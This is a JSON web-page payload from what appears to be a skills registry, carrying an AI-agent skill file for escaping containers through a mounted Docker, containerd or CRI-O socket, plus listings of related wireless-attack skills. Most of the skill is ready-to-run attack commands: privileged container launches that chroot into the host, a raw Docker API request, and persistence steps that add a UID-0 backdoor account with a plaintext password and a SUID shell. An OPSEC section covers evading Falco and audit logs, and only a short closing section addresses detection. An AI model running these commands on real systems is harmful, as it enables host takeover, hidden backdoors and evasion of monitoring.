[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DF9TSB7YN1ZS5EV2V2YBTP":3,"skill-same:01M7DF9TSB7YN1ZS5EV2V2YBTP":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DF9TSB7YN1ZS5EV2V2YBTP","docker-socket-mount",null,"Docker \u002F containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost`.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fcontainer\u002Fdocker-socket-mount\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: docker-socket-mount\ndescription: \"Docker \u002F containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost`.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"docker.sock containerd.sock dind docker-in-docker mounted socket \u002Fvar\u002Frun host escape ci runner argocd flux jenkins gitlab\"\n  subdomain: cloud-native\n  tags: docker, containerd, container-escape, ci-cd\n  mitre_attack: T1611, T1610\n---\n\n# Docker \u002F Containerd Socket Mount Escape\n\nA container with `\u002Fvar\u002Frun\u002Fdocker.sock` or `\u002Frun\u002Fcontainerd\u002Fcontainerd.sock` mounted in is fully equivalent to root on the host. This is one of the most common findings in CI\u002FCD environments.\n\n## Detect\n\n```bash\nls -la \u002Fvar\u002Frun\u002Fdocker.sock \u002Frun\u002Fdocker.sock \u002Fvar\u002Frun\u002Fcontainerd\u002Fcontainerd.sock \u002Frun\u002Fcontainerd\u002Fcontainerd.sock 2>&1 | grep -v 'No such'\nmount | grep -E 'docker\\.sock|containerd\\.sock'\n# CRI-O variant\nls -la \u002Fvar\u002Frun\u002Fcrio\u002Fcrio.sock 2>&1\n```\n\n## Exploit — Docker socket\n\n```bash\n# Launch a privileged container that mounts the host root\ndocker run --rm -it --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost \u002Fbin\u002Fsh\n# Done — you're root on the host.\n\n# If `docker` binary isn't in your container, install it or talk to the API directly:\napk add docker-cli 2>\u002Fdev\u002Fnull || apt-get install -y docker.io 2>\u002Fdev\u002Fnull\n\n# Or use curl on the UNIX socket:\ncurl --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -X POST -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"chroot\",\"\u002Fhost\",\"\u002Fbin\u002Fsh\",\"-c\",\"id > \u002Fhost\u002Ftmp\u002Fowned\"],\"HostConfig\":{\"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate\n```\n\n## Exploit — containerd socket\n\n```bash\n# ctr is the containerd CLI\nctr -a \u002Frun\u002Fcontainerd\u002Fcontainerd.sock images pull docker.io\u002Flibrary\u002Falpine:latest\nctr -a \u002Frun\u002Fcontainerd\u002Fcontainerd.sock run --rm -t --privileged \\\n  --mount type=bind,src=\u002F,dst=\u002Fhost,options=rbind \\\n  docker.io\u002Flibrary\u002Falpine:latest escape sh -c 'chroot \u002Fhost'\n\n# OR via crictl (often present where ctr isn't):\ncrictl --runtime-endpoint unix:\u002F\u002F\u002Frun\u002Fcontainerd\u002Fcontainerd.sock pull alpine\n# crictl exec is more limited — fall back to API:\nnerdctl --address \u002Frun\u002Fcontainerd\u002Fcontainerd.sock run --rm -it --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost\n```\n\n## Exploit — CRI-O socket\n\n```bash\ncrictl --runtime-endpoint unix:\u002F\u002F\u002Fvar\u002Frun\u002Fcrio\u002Fcrio.sock pods\n# Same pattern as containerd.\n```\n\n## Common attack contexts\n\n| Context | Why the socket is mounted |\n|---|---|\n| Jenkins\u002FGitLab CI runners | Build Docker images inside the build container |\n| ArgoCD \u002F Flux | Run pre-\u002Fpost-sync hooks that build images |\n| Docker-in-Docker (DinD) in K8s | Same — build pipelines, kaniko alternatives |\n| Diagnostic sidecars | Container-level metrics\u002Flog shippers |\n| Buildkit daemon w\u002F ungated rootless socket | Same primitive, less restricted env |\n\n## Persistence\n\n```bash\n# Inside the escaped host, drop a backdoor:\nchroot \u002Fhost useradd -ou 0 -g 0 -m -s \u002Fbin\u002Fbash backdoor\necho 'backdoor:plaintext' | chroot \u002Fhost chpasswd\n# Or grant SUID:\ncp \u002Fhost\u002Fbin\u002Fbash \u002Fhost\u002Ftmp\u002F.x; chroot \u002Fhost chmod +s \u002Ftmp\u002F.x\n```\n\n## OPSEC\n\n- The Docker API logs every container create (`\u002Fvar\u002Flog\u002Fdocker.log` or journald). Use a benign-sounding image name.\n- Falco rules `attach_drop_capability`, `escape_to_host_namespace` flag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather than `docker run` (multiple).\n- CRI-O auditing logs every `RunPodSandbox` — same evasion approach.\n\n## Detection (defender lens, useful for triage)\n\n- Pod-spec scanning (admission controllers — OPA Gatekeeper, Kyverno) blocks `hostPath: \u002Fvar\u002Frun\u002Fdocker.sock` at admit time.\n- Falco rule `Mount docker.sock` catches the runtime case.\n- AppArmor profile `docker-default` doesn't block this — needs custom profile.\n","# Docker \u002F Containerd Socket Mount Escape\n\nA container with `\u002Fvar\u002Frun\u002Fdocker.sock` or `\u002Frun\u002Fcontainerd\u002Fcontainerd.sock` mounted in is fully equivalent to root on the host. This is one of the most common findings in CI\u002FCD environments.\n\n## Detect\n\n```bash\nls -la \u002Fvar\u002Frun\u002Fdocker.sock \u002Frun\u002Fdocker.sock \u002Fvar\u002Frun\u002Fcontainerd\u002Fcontainerd.sock \u002Frun\u002Fcontainerd\u002Fcontainerd.sock 2>&1 | grep -v 'No such'\nmount | grep -E 'docker\\.sock|containerd\\.sock'\n# CRI-O variant\nls -la \u002Fvar\u002Frun\u002Fcrio\u002Fcrio.sock 2>&1\n```\n\n## Exploit — Docker socket\n\n```bash\n# Launch a privileged container that mounts the host root\ndocker run --rm -it --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost \u002Fbin\u002Fsh\n# Done — you're root on the host.\n\n# If `docker` binary isn't in your container, install it or talk to the API directly:\napk add docker-cli 2>\u002Fdev\u002Fnull || apt-get install -y docker.io 2>\u002Fdev\u002Fnull\n\n# Or use curl on the UNIX socket:\ncurl --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock -X POST -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"chroot\",\"\u002Fhost\",\"\u002Fbin\u002Fsh\",\"-c\",\"id > \u002Fhost\u002Ftmp\u002Fowned\"],\"HostConfig\":{\"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate\n```\n\n## Exploit — containerd socket\n\n```bash\n# ctr is the containerd CLI\nctr -a \u002Frun\u002Fcontainerd\u002Fcontainerd.sock images pull docker.io\u002Flibrary\u002Falpine:latest\nctr -a \u002Frun\u002Fcontainerd\u002Fcontainerd.sock run --rm -t --privileged \\\n  --mount type=bind,src=\u002F,dst=\u002Fhost,options=rbind \\\n  docker.io\u002Flibrary\u002Falpine:latest escape sh -c 'chroot \u002Fhost'\n\n# OR via crictl (often present where ctr isn't):\ncrictl --runtime-endpoint unix:\u002F\u002F\u002Frun\u002Fcontainerd\u002Fcontainerd.sock pull alpine\n# crictl exec is more limited — fall back to API:\nnerdctl --address \u002Frun\u002Fcontainerd\u002Fcontainerd.sock run --rm -it --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost\n```\n\n## Exploit — CRI-O socket\n\n```bash\ncrictl --runtime-endpoint unix:\u002F\u002F\u002Fvar\u002Frun\u002Fcrio\u002Fcrio.sock pods\n# Same pattern as containerd.\n```\n\n## Common attack contexts\n\n| Context | Why the socket is mounted |\n|---|---|\n| Jenkins\u002FGitLab CI runners | Build Docker images inside the build container |\n| ArgoCD \u002F Flux | Run pre-\u002Fpost-sync hooks that build images |\n| Docker-in-Docker (DinD) in K8s | Same — build pipelines, kaniko alternatives |\n| Diagnostic sidecars | Container-level metrics\u002Flog shippers |\n| Buildkit daemon w\u002F ungated rootless socket | Same primitive, less restricted env |\n\n## Persistence\n\n```bash\n# Inside the escaped host, drop a backdoor:\nchroot \u002Fhost useradd -ou 0 -g 0 -m -s \u002Fbin\u002Fbash backdoor\necho 'backdoor:plaintext' | chroot \u002Fhost chpasswd\n# Or grant SUID:\ncp \u002Fhost\u002Fbin\u002Fbash \u002Fhost\u002Ftmp\u002F.x; chroot \u002Fhost chmod +s \u002Ftmp\u002F.x\n```\n\n## OPSEC\n\n- The Docker API logs every container create (`\u002Fvar\u002Flog\u002Fdocker.log` or journald). Use a benign-sounding image name.\n- Falco rules `attach_drop_capability`, `escape_to_host_namespace` flag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather than `docker run` (multiple).\n- CRI-O auditing logs every `RunPodSandbox` — same evasion approach.\n\n## Detection (defender lens, useful for triage)\n\n- Pod-spec scanning (admission controllers — OPA Gatekeeper, Kyverno) blocks `hostPath: \u002Fvar\u002Frun\u002Fdocker.sock` at admit time.\n- Falco rule `Mount docker.sock` catches the runtime case.\n- AppArmor profile `docker-default` doesn't block this — needs custom profile.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"docker, containerd, container-escape, ci-cd","cloud-native","docker.sock containerd.sock dind docker-in-docker mounted socket \u002Fvar\u002Frun host escape ci runner argocd flux jenkins gitlab","T1611, T1610","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fcontainer\u002Fdocker-socket-mount","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill docker-socket-mount",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill docker-socket-mount",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill docker-socket-mount","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fcontainer\u002Fdocker-socket-mount\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]